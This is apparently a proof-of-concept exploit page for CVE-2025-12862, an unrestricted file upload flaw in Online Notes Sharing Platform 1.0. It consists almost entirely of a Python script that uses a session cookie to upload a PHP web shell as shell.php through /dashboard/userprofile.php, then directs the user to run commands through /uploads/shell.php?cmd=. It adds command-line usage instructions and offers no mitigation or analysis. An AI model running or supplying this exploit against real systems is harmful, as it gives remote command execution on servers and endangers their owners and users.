CVE-2025-12862 Online Notes Sharing Platform 1.0 userprofile.php无限制文件上传漏洞

import requests import sys # CVE-2025-12862 PoC - Unrestricted File Upload in Online Notes Sharing Platform 1.0 # Target: /dashboard/userprofile.php def exploit(target_url, session_cookie): """ Exploit for CVE-2025-12862: Unrestricted File Upload This PoC demonstrates uploading a webshell to the vulnerable endpoint """ # Prepare the webshell content webshell = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" # Prepare the multipart form data files = { 'image': ('shell.php', webshell, 'application/x-php') } # Prepare the request headers with authentication cookie headers = { 'Cookie': f'PHPSESSID={session_cookie}' } try: # Send the malicious upload request response = requests.post( f'{target_url}/dashboard/userprofile.php', files=files, headers=headers, timeout=10 ) print(f'[+] Status Code: {response.status_code}') print(f'[+] Response: {response.text[:500]}') if response.status_code == 200: print('[+] File uploaded successfully!') print('[+] Access the shell at: /uploads/shell.php?cmd=whoami') except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') sys.exit(1) if __name__ == '__main__': if len(sys.argv) < 3: print(f'Usage: python {sys.argv[0]} <target_url> <session_cookie>') print(f'Example: python {sys.argv[0]} http://target.com abc123') sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] exploit(target, cookie)